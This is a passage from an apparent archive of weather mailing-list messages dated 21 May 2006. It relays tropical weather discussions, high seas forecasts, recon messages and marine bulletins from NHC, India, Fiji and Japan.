..ITCZ... ITCZ AXIS IS CENTERED ALONG 7N77W 9N89W 9N104W 11N116W 7N140W. SCATTERED MODERATE CONVECTION FROM 4N-8N E OF 92W...AND FROM 6N-10N BETWEEN 95W-98W. WIDELY SCATTERED MODERATE WITHIN 120 NM OF THE AXIS BETWEEN 109W-130W. ISOLATED SHOWERS/TSTMS WITHIN 75 NM OF THE AXIS W OF 132W. ..DISCUSSION... W OF 105W... STRONG MID/UPPER LEVEL LOW IS CENTERED OFF THE CALIFORNIA COAST NEAR 34N129W...EMBEDDED WITHIN A LARGER TROUGH WITH AXIS ACROSS THE AREA FROM 30N130W TO 23N140W. THE LOW IS BOUNDED BY TWO JETS...A 110 KT JET CORE ON THE SE SIDE AND A 130 KT JET ON THE W SIDE MOVING S TOWARDS THE AREA. A COLD FRONT HAS MOVED AHEAD OF THE MAIN UPPER LEVEL SYSTEM FROM 30N123W TO 23N130W...AND SCATTERED SHOWERS ARE 150 NM E OF THE BOUNDARY N OF 25N. ELSEWHERE...A WELL-DEFINED UPPER HIGH IS CENTERED NEAR 13N114W WITH A RIDGE AXIS EXTENDING ACROSS THE TROPICS TO 8N140W AND NWD TO THE BAJA PENINSULA NEAR 30N112W. SEVERAL WEAK LOWS ARE EMBEDDED ALONG THE ITCZ NEAR 12N110W...10N118W...AND 9N126W AND ARE CAUSING SCATTERED AREAS OF TSTMS...BUT NONE OF THESE FEATURES ARE EXPECTED TO DEVELOP IN THE NEAR FUTURE. E OF 105W... MID/UPPER LOW IS SPIRALING ALONG THE E MEXICAN COAST JUST N OF TAMPICO AND THE ASSOCIATED CYCLONIC CIRCULATION EXTENDS S TO 12N BETWEEN THE GULF OF TEHAUNTEPEC AND THE BAJA PENINSULA. STRONG SUBSIDENCE IS OCCURRING AT THE BASE OF THIS TROUGH...WITHIN 425 NM SW OF THE MEXICAN COAST IN THIS SAME AREA. A 1009 MB HAS DEVELOPED JUST S OF THE GULF OF TEHUANTEPEC NEAR 13N96W AND IS LOCATED BENEATH DIFFLUENT FLOW ALOFT DOWNSTREAM OF THE UPPER TROUGH...HELPING TO PRODUCE SCATTERED MODERATE CONVECTION FROM 12N-15N BETWEEN 93W-97W. IN FACT...THIS DIFFLUENCE IS ACTUALLY ASSOCIATED WITH A DEFORMATION ZONE CENTERED NEAR 11N94W WITH RIDGING TO THE SW AND OVER THE CARIBBEAN...AND TROUGHING OVER MEXICO AND S OF ECUADOR. $$ BERG +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 10:50:56 -0500",RECON: Recon Message,"970 URNT10 KNHC 211546 97779 15424 11270 92200 72200 18012 70961 /5753 RMK AF303 WXWXA 06052114303 OB 05 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 11:20:35 -0500",SEAFCST: High Seas Forecast (Automatic),"448 FZNT01 KWBC 211620 HSFAT1 CCODE/1:31:04:01:00/AOW/NWS/CCODE HIGH SEAS FORECAST FOR METAREA IV NATIONAL WEATHER SERVICE WASHINGTON DC/TPC MIAMI FL OCEAN PREDICTION CENTER/OFB 1630 UTC MAY 21 2006 SUPERSEDED BY NEXT ISSUANCE IN 6 HOURS SECURITE NORTH ATLANTIC NORTH OF 31N TO 67N AND WEST OF 35W. SYNOPSIS VALID 1200 UTC MAY 21. 24 HOUR FORECAST VALID 1200 UTC MAY 22. 48 HOUR FORECAST VALID 1200 UTC MAY 23. WARNINGS. ...GALE WARNING... .24 HOUR FORECAST LOW 52N 55W 1001 MB WITH FRONT FROM LOW TO 49N 47W TO 45N 41W. FORECAST WINDS 25 TO 35 KT SEAS 8 TO 13 FT WITHIN 240 NM N OF FRONT. .48 HOUR FORECAST LOW AND CONDITIONS ABSORBED BY FORECAST LOW 47N 56W. ...GALE WARNING... .24 HOUR FORECAST COMPLEX LOW WITH MAIN LOW 42N 63W 996 MB WITH SECOND LOW INLAND 45N 67W. FORECAST WINDS 25 TO 35 KT SEAS 9 TO 12 FT WITHIN 420 NM S AND 360 NM W QUADRANTS. .48 HOUR FORECAST LOW 47N 56W 989 MB. FORECAST WINDS 25 TO 40 KT SEAS 10 TO 17 FT WITHIN 480 NM E AND NE QUADRANTS AND 420 NM S QUADRANT. .SYNOPSIS AND FORECAST. .LOW 35N 73W 1008 MB WILL MOVE NE 25 KT. WINDS TO 25 KT SEAS LESS THAN 8 FT WITHIN 120 NM SE SEMICIRCLE. .24 HOUR FORECAST LOW TO MERGE WITH FORECAST LOW 42N 63W. .AREA OF WINDS TO 25 KT SEAS 8 TO 11 FT WITH 300 NM NW OF A LINE FROM 32N 68W TO 442N 54W. .24 HOUR FORECAST AREA OF WINDS TO MERGE WITH FORECAST LOW 42N 63W. .LOW 41N 46W 1012 MB WILL MOVE N 15 KT. WINDS TO 25 KT SEAS 9 TO 12 FT WITHIN 480 NM N AND 300 NM E AND S QUADRANTS. .24 HOUR FORECAST LOW AND CONDITIONS TO MERGE WITH FORECAST LOW 42N 63W. .AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 42N TO 49N BETWEEN 44W AND 55W. .24 HOUR FORECAST AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 45N TO 53N BETWEEN 43W AND 54W. .48 HOUR FORECAST AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 45N TO 55N BETWEEN 40W AND 54W. .HIGH 51N 42W 1027 MB MOVING SE 15 KT. .24 HOUR FORECAST HIGH E OF AREA. .HIGH 31N 38W 1026 MB WILL DRIFT SW. .24 HOUR HIGH 31N 38W 1026 MB. .48 HOUR HIGH 31N 39W 1026 MB. .FORECASTER MCRANDAL. OCEAN FORECAST BRANCH. ATLANTIC FROM 7N TO 31N W OF 35W INCLUDING CARIBBEAN SEA AND GULF OF MEXICO SYNOPSIS VALID 1200 UTC SUN MAY 21 24 HOUR FORECAST VALID 1200 UTC MON MAY 22 48 HOUR FORECAST VALID 1200 UTC TUE MAY 23 .WARNINGS. .NONE. .SYNOPSIS AND FORECAST. .ATLC S OF LINE 25N35W 20N45W 15N60W NE WINDS 20 KT SEAS TO 8 FT. .24 HOUR FORECAST S OF 24N E OF 50W NE TO E WINDS 20 KT SEAS TO 8 FT. .48 HOUR FORECAST S OF 21N E OF 50W NE TO E WINDS TO 20 KT SEAS TO 8 FT. .ATLC N OF 30N W OF 70W SW WINDS TO 20 KT SEAS LESS THAN 8 FT. .24 HOUR FORECAST WINDS LESS THAN 20 KT SEAS LESS THAN 8 FT. .CARIBBEAN FROM 11N TO 16N BETWEEN 68W AND 78W NE TO E WINDS 20 TO 25 KT SEAS TO 9 FT. .24 HOUR FORECAST LITTLE CHANGE. .48 HOUR FORECAST FROM 11N TO 15N BETWEEN 65W AND 78W E WINDS 20 TO 25 KT SEAS 8 TO 10 FT. .REMAINDER OF AREA WINDS LESS THAN 20 KT SEAS LESS THAN 8 FT. $$ FORECASTER COBB TROPICAL ANALYSIS AND FORECAST BRANCH TROPICAL PREDICTION CENTER +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 11:25:05 -0500",RECON: Recon Message,"798 URNT10 KNHC 211620 97779 16154 11288 90500 72200 99005 73931 /5754 RMK AF303 WXWXA 06052114303 OB 08 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 11:32:15 -0500",Pacific-EN: Tropical Weather Outlook,"ABPZ20 KNHC 211632 TWOEP TROPICAL WEATHER OUTLOOK NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 1000 AM PDT SUN MAY 21 2006 FOR THE EASTERN NORTH PACIFIC...EAST OF 140 DEGREES WEST LONGITUDE.. TROPICAL STORM FORMATION IS NOT EXPECTED THROUGH MONDAY. FORECASTER FRANKLIN $$ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 11:32:17 -0500",RECON: Recon Message,"628 URNT10 KNHC 211619 97779 16004 11279 91300 72200 99005 73951 /5753 RMK AF303 WXWXA 06052114303 OB 07 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 11:31:15 -0500",Indian-S: A Cycir Extdng Upto 5.8 Km Asl Over Bihar And N/h Persists (.),"WWIN40 DEMS 211200 I W B 21TH EVE: THE CYCIR BET 1.5 AND 5.8 KM ASL OVER EC AND ADJ WC BAY PERSISTS (.) THE WD AS AN U/A SYSTEM EXTDNG UPTO 4.5 KM ASL OVER J & K PERSISTS (.) THE CYCIR EXTDNG UPTO 2.1 KM ASL OVER UTNCHL AND ADJ W-UP PERSISTS (.) SYSTEMS ARE LIKELY TO MOVE ENE WARDS (.) THE TRGH AT 0.9 KM ASL FROM NW-RAJ TO NMMT THROUGH HARYANA UP AND BIHAR PERSISTS (.) A CYCIR EXTDNG UPTO 5.8 KM ASL OVER BIHAR AND N/H PERSISTS (.) FORECAST:- RAIN/THRS ARE LIKELY TO OCCUR AT MOST PLACES IN A/N IDS; AT FEW PLACES IN ARU-PR ASSAM/MEGHA NMMT WB/SKM ORISSA JRKND BIHAR KERALA AND LKSDP AT ISOLATED PLACES IN UP UTNCHL HARYANA PJB HP J & K N-RAJ MP VIDH CHTGH C-AP T-NADU COTL AND SIK (.) MAINLY DRY WX WILL PREVAIL OVER THE REST OF THE COUNTRY (.) HRW: ISOLATED VERY HEAVY RAIN IS LIKELY TO OCCUR OVER IN A/N IDS DURING NEXT 36 HRS(.) = +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 11:40:20 -0500",RECON: Recon Message,"904 URNT10 KNHC 211630 97779 16284 10295 89800 55900 99005 60851 /4587 RMK AF303 WXWXA 06052114303 OB 09 LAST REPORT +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 12:17:34 -0500",Indian-N: Subj/significant Tropical Weather Advisory For The Indian,"ABIO10 PGTW 211800 MSGID/GENADMIN/NAVPACMETOCCEN PEARL HARBOR HI/JTWC// SUBJ/SIGNIFICANT TROPICAL WEATHER ADVISORY FOR THE INDIAN OCEAN/211800Z-221800ZMAY2006// RMKS/ 1. NORTH INDIAN OCEAN AREA (MALAY PENINSULA WEST TO COAST OF AFRICA): A. TROPICAL CYCLONE SUMMARY: NONE. B. TROPICAL DISTURBANCE SUMMARY: NONE. 2. SOUTH INDIAN OCEAN AREA (135E WEST TO COAST OF AFRICA): A. TROPICAL CYCLONE SUMMARY: NONE. B. TROPICAL DISTURBANCE SUMMARY: NONE. FORECAST TEAM: BRAVO// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 12:17:34 -0500",Indian-S: Subj/significant Tropical Weather Advisory For The Indian,"TROPICAL WEATHER INFORMATION FOR THE INDIAN OCEAN ABIO10 PGTW 211800 MSGID/GENADMIN/NAVPACMETOCCEN PEARL HARBOR HI/JTWC// SUBJ/SIGNIFICANT TROPICAL WEATHER ADVISORY FOR THE INDIAN OCEAN/211800Z-221800ZMAY2006// RMKS/ 1. NORTH INDIAN OCEAN AREA (MALAY PENINSULA WEST TO COAST OF AFRICA): A. TROPICAL CYCLONE SUMMARY: NONE. B. TROPICAL DISTURBANCE SUMMARY: NONE. 2. SOUTH INDIAN OCEAN AREA (135E WEST TO COAST OF AFRICA): A. TROPICAL CYCLONE SUMMARY: NONE. B. TROPICAL DISTURBANCE SUMMARY: NONE. FORECAST TEAM: BRAVO// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 SIU Weather Processor ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 12:42:38 -0500",TROPDISC: Tropical Weather Discussion,"531 AXNT20 KNHC 211742 TWDAT TROPICAL WEATHER DISCUSSION NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 205 PM EDT SUN MAY 21 2006 TROPICAL WEATHER DISCUSSION FOR NORTH AMERICA...CENTRAL AMERICA...THE GULF OF MEXICO...THE CARIBBEAN SEA...NORTHEASTERN SECTIONS OF SOUTH AMERICA...AND THE ATLANTIC OCEAN TO THE AFRICAN COAST FROM THE EQUATOR TO 32N. THE FOLLOWING INFORMATION IS BASED ON SATELLITE IMAGERY...WEATHER OBSERVATIONS...RADAR... AND METEOROLOGICAL ANALYSIS. BASED ON 1200 UTC SURFACE ANALYSIS AND SATELLITE IMAGERY THROUGH 1715 UTC. ..TROPICAL WAVES... TROPICAL WAVE IS ALONG 27W/28W S OF 7N MOVING W 15 KT. WAVE IS NOT WELL-DEFINED IN AVAILABLE SATELLITE IMAGERY WHICH SUGGEST A BROAD AREA OF TURNING AND NO OBVIOUS WAVE AXIS. THE CONVECTION DOES NOT SEEM TO BE WELL-MATCHED TO THE BEST TURNING IN THE LOW/MID-LEVELS. HOWEVER THE GFS MODEL SUGGESTS THIS WAVE WILL BE HAVE A FAIR NUMBER OF TSTMS WITH FAVORABLE UPPER DIFFLUENCE THOUGH LIKELY REMAINING BROAD AS WELL. SCATTERED MODERATE FROM 1N-4.5N BETWEEN 23W-28.5W. TROPICAL WAVE IS ALONG 53W/54W S OF 7N MOVING W 15-20 KT. THERE IS SOME HINT OF THE WAVE IN THE CUMULUS CLOUD FIELD OVER S AMERICA WITH BROAD CYCLONIC FLOW... OTHERWISE THE WAVE IS BECOMING VERY HARD TO TRACK. ISOLATED TSTMS OVERLAND N OF 1N E OF 56W. TROPICAL WAVE PREVIOUSLY ALONG 87W HAS LEFT THE AREA. ..ITCZ... ITCZ AXIS IS CENTERED ALONG 9N12W 1N40W 3.5N51W. WIDELY SCATTERED MODERATE WITHIN 60 NM OF LINE 8N16W 8N19.5W AND FROM 3.5N-5.5N BETWEEN 9W-15W. CLUSTERS OF MODERATE CONVECTION ARE WITHIN 90 NM OF 5N20W AND WITHIN 45 NM OF THE ITCZ W OF 44W. ISOLATED MODERATE S OF 3N BETWEEN 30W-42W. ..DISCUSSION... GULF OF MEXICO... BIGGEST CHANGE TO THE WEATHER SINCE YESTERDAY IS A SLUG OF DEEP-LAYERED MOISTURE THAT HAS ENTERED THE AREA S OF 25N E OF 94.5W. ISOLATED SHOWERS ARE BENEATH THE CLOUD CANOPY WITH TSTMS CLOSE TO ENTERING THE STRAITS OF FLORIDA. THIS MOISTURE... ASSOCIATED WITH THE REMNANTS OF LAST WEEK'S COLD FRONT NOW A TROUGH...IS BEING PULLED INTO THE REGION DUE TO SLY WINDS TO THE E OF A MID/UPPER LOW THAT HAS FORMED NEAR NE MEXICO AROUND 24N97W. THIS MOISTURE SHOULD MAKE ITS WAY INTO THE CENTRAL GULF REGION MOSTLY E OF 92W S OF 28N FOR THE EARLY PART OF THE WEEK.. PROBABLY BRINGING MUCH NEEDED RAIN TO S THEN CENTRAL FLORIDA. WEAK HIGH PRESSURE IS JUST OFFSHORE OF NW FLORIDA NEAR 28N86.5W AND SHOULD REMAIN NEARLY STATIONARY WITH GENERALLY LIGHT WINDS. A LONE CLUSTER OF TSTMS IS NEAR 27.5N95W IN THE NW GULF NEAR THE UPPER LOW. CARIBBEAN SEA AND ATLANTIC OCEAN W OF 60W... BROAD UPPER TROUGHING IS LIMITED TO THE FAR NORTHERN PART OF THE AREA N OF 26N AND IS BEING TAKEN OVER BY A BUILDING HIGH CENTERED NEAR HAITI RIDGING WSW TO THE GULF OF HONDURAS AND EASTWARD ALONG 20N. THIS HIGH IS MUCH FARTHER N THAN AVERAGE AND LOOKS MORE TYPICAL FOR MID-SUMMER THAN LATE SPRING CONDITIONS. AT THE N EDGE OF THE HIGH.. TROUGH IS POSITIONED ALONG 31N60W 26N70W TO NEAR ANDROS ISLANDS SW INTO THE CARIBBEAN TO NEAR 19N85W. ISOLATED SHOWERS AND BROKEN CLOUDINESS ARE WITHIN 180 NM OF THE TROUGH E OF THE BAHAMAS. MORE WIDESPREAD SHOWERS AND SOME TSTMS ARE WITHIN 180 NM OF THE TROUGH W OF THE BAHAMAS WITH PLENTIFUL UPPER CLOUDINESS FROM DYING TSTMS IN THE NW CARIBBEAN. SOME TSTMS COULD BREAK OUT OVER YUCATAN TODAY IF ENOUGH SOLAR HEATING DESTABILIZES THE MOIST ATMOSPHERE IN PLACE IN ADDITION TO W CUBA. NW OF THE TROUGH... NEARLY CLOUD-FREE SKIES ARE IN PLACE SAVE SOME PASSING CIRRUS CLOUDS. IN THE CENTRAL AND E CARIBBEAN...MODERATE/STRONG SUBSIDENCE BENEATH THE UPPER RIDGE IS KEEPING ANY SIGNIFICANT CONVECTION CONFINED TO THE FAR SW CARIBBEAN WITHIN 60 NM OF CENTRAL AMERICA S OF 11N. A WEAK LOW LEVEL TROUGH IS ALONG ABOUT 70W WITH A FEW SHOWERS N OF 14N BETWEEN 67W-72W AND A FEW SHOWERS ARE ALSO PASSING THRU THE LEEWARD ISLANDS THIS AFTERNOON. SOME ASH IS ALSO IN THE AREA BUT IT IS GETTING HARDER TO SEE ON SATELLITE. VISIBLE IMAGES SHOW THAT ASH IS STILL BEING EMITTED FROM THE MONTSERRAT VOLCANO BUT IT IS MUCH REDUCED FROM YESTERDAY. A LITTLE STRONGER THAN AVERAGE TRADES CONTINUE ACROSS THE CENTRAL/E CARIBBEAN WITH NO BIG CHANGES FOR THE FIRST PART OF THE WEEK. THE REMAINDER OF ATLANTIC OCEAN... A SHARP UPPER LEVEL TROUGH IS OVER THE CNTRL ATLC WITH THE AXIS EXTENDING THRU 30N46W THROUGH AN UPPER LOW NEAR 21N49W AND INTO THE DEEP TROPICS NEAR 10N54W. THE UPPER LOW IS HELPING TO TRANSPORT UPPER MOISTURE FROM THE DEEP TROPICS NEWARD WITHIN 180 NM TO THE RIGHT OF A LINE ALONG 10N51W 20N45W 28N45W. AN UPPER HIGH IS NEAR 20N32W WITH MID/UPPER LEVEL RIDGING COVERING THE AREA S OF 17N AND E OF 37W AND POKING NORTHWARD TO 31N38W. DIFFLUENCE S OF THE RIDGE IS ENHANCING ITCZ CONVECTION. NW FLOW IS IN THE NE PART OF THE ATLC AS A RESULT OF AN UPPER TROUGH OVER EXTREME NW AFRICA. THAT UPPER TROUGH IS ENHANCING TSTMS OVER PORTIONS OF MAURITANIA AND MALI THAT RARELY RECEIVE RAIN ESPECIALLY THIS EARLY IN THE RAINY SEASON. AT THE SFC...A 1026 MB HIGH CENTERED NEAR 31N38W COVERS THE ENTIRE REGION SUPPLYING FAIR WEATHER ACROSS A GOOD PORTION OF THE ATLANTIC OCEAN. TRADE WINDS ARE RATHER STRONG ACROSS THE AREA AND WILL LIKELY REMAIN THAT WAY FOR THE NEXT FEW DAYS. $$ BLAKE +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 12:58:09 -0500",Indian-S:,"FQIN01 DEMS 211800 SHIPPING BULLETIN FOR MET. AREA VIII(N) NORTH OF EQUATOR VALID FOR 24 HRS. FROM 2006 05 21 1800 UTC 21 MAY 2006 PART-I :-NO STORM WARNING (.) PART-II:-WEATHER SEASONAL OVER REST MET AREA VIII(N)(.) PART-III:- FORECAST ARB-A1 ARABIAN SEA EQUATOR TO 10 DEG.N. WEST OF 80 DEG E. I)WIND:-SW/W 15/20 KTS (.) II)WEATHER:-SCATTERED RA/TS (.) III)VISIBILITY:-POOR IN RA/TS(.) IV) STATE OF SEA:- MODERATE (.) ARB-A2 ARABIAN SEA NORTH OF 10 DEG.N. I)WIND:-SW/W 10/15 KTS BEC NW-LY TO THE E OF 72 DEG E(.) II)WEATHER:- FAIR (.) III)VISIBILITY:- GOOD (.) IV) STATE OF SEA:- SLIGHT TO MODERATE(.) BOB-A3-BAY OF BENGAL EQUATOR TO 10 DEG.N.EAST OF 80 DEG E. I)WIND:-MAINLY SW-LY 25/30 KTS (.) II)WEATHER:- WIDESPREAD RA/TS (.) III)VISIBILITY:- POOR IN RA/TS (.) IV)STATE OF SEA:- ROUGH TO VERY ROUGH(.) BOB-A4-BAY OF BENGAL NORTH OF 10 DEG.N. I)WIND:-SW/W 10/15 KTS (.) II)WEATHER:-FAIRLY WIDESPREAD RA/TS (.) III)VISIBILITY:- POOR IN RAIN (.) IV)STATE OF SEA:- SLIGHT TO MODERATE (.) ISSUED BY INDIA METEOROLOGICAL DEPARTMENT +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 LDM Weather ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 15:09:07 -0500",Pacific SE: Tropical Weather Bulletin,"879 FQPS01 NFFN 211800 MARINE WEATHER BULLETIN FOR ISLANDS AREA EQUATOR TO 25S BETWEEN 160E AND 120W. ISSUED BY FIJI METEOROLOGICAL SERVICE May 212000 UTC. PART 1 : WARNING NIL. PARTS 2 AND 3 : SYNOPSIS AND FORECAST VALID UNTIL May 221800 UTC. TROUGH T1 10S 160E 14S 180 17S 168W 19S 165W SLOW MOVING. POOR VISIBILITY IN SCATTERED SHOWERS AND ISOLATED THUNDERSTORMS WITHIN 180 MILES OF T1. TROUGH T2 03S 160E 05S 165E 10S 175E 12S 176E MOVING WEST 10 KNOTS. POOR VISIBILITY IN SCATTERED SHOWERS AND ISOLATED THUNDERSTORMS WITHIN 120 MILES OF T2. STATIONARY FRONT SF1 25S 179E 20S 170W 20S 25S 145W. POOR VISIBILITY IN OCCASIONAL SHOWERS AND THUNDERSTORMS WITHIN 120 MILES OF SF1. STATIONARY FRONT SF2 17S 151W 20S 130W 23S 120W. POOR VISIBILITY IN FEW SOME SHOWERS WITHIN 060 MILES OF SF2. A MODERATE TO HEAVY SOUTH TO SOUTHWEST SWELL SOUTH OF 20S IN THE AREA BETWEEN 160W AND 125W. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 LDM Weather ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 15:09:03 -0500",Pacific SE: Tropical Weather Bulletin,"818 FQPS01 NFFN 211800 MARINE WEATHER BULLETIN FOR ISLANDS AREA EQUATOR TO 25S BETWEEN 160E AND 120W. ISSUED BY FIJI METEOROLOGICAL SERVICE May 212000 UTC. PART 1 : WARNING NIL. PARTS 2 AND 3 : SYNOPSIS AND FORECAST VALID UNTIL May 221800 UTC. TROUGH T1 10S 160E 14S 180 17S 168W 19S 165W SLOW MOVING. POOR VISIBILITY IN SCATTERED SHOWERS AND ISOLATED THUNDERSTORMS WITHIN 180 MILES OF T1. TROUGH T2 03S 160E 05S 165E 10S 175E 12S 176E MOVING WEST 10 KNOTS. POOR VISIBILITY IN SCATTERED SHOWERS AND ISOLATED THUNDERSTORMS WITHIN 120 MILES OF T2. STATIONARY FRONT SF1 25S 179E 20S 170W 20S 25S 145W. POOR VISIBILITY IN OCCASIONAL SHOWERS AND THUNDERSTORMS WITHIN 120 MILES OF SF1. STATIONARY FRONT SF2 17S 151W 20S 130W 23S 120W. POOR VISIBILITY IN FEW SOME SHOWERS WITHIN 060 MILES OF SF2. A MODERATE TO HEAVY SOUTH TO SOUTHWEST SWELL SOUTH OF 20S IN THE AREA BETWEEN 160W AND 125W. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 15:26:36 -0500",Pacific-NW: Warning And Summary 211800.,"WWJP25 RJTD 211800 WARNING AND SUMMARY 211800. WARNING VALID 221800. WARNING IS UPDATED EVERY 6 HOURS. GALE WARNING. DEVELOPED LOW 1002 HPA AT 42N 162E FAR OFF EAST OF JAPAN MOVING NORTHEAST 25 KNOTS. OCCLUDED FRONT FROM 42N 162E TO 41N 163E 41N 163E. WARM FRONT FROM 41N 163E TO 38N 164E 35N 165E. COLD FRONT FROM 41N 163E TO 36N 160E 31N 156E 29N 150E. WINDS 30 TO 40 KNOTS WITHIN 900 MILES OF LOW NORTHEAST SEMICIRCLE AND 500 MILES ELSEWHERE. ANOTHER LOW 1004 HPA AT 50N 160E MOVING NORTHNORTHEAST 20 KNOTS. WARNING. DENSE FOG OBSERVED LOCALLY OVER SEA OF OKHOTSK SEA OF JAPAN YELLOW SEA. WARNING. DENSE FOG OBSERVED LOCALLY OVER WATERS BOUNDED BY 39N 152E 46N 150E 51N 157E 60N 163E 60N 180E 40N 180E 34N 170E 29N 153E 39N 152E. SUMMARY. LOW 998 HPA AT 58N 149E ALMOST STATIONARY. LOW 1016 HPA AT 34N 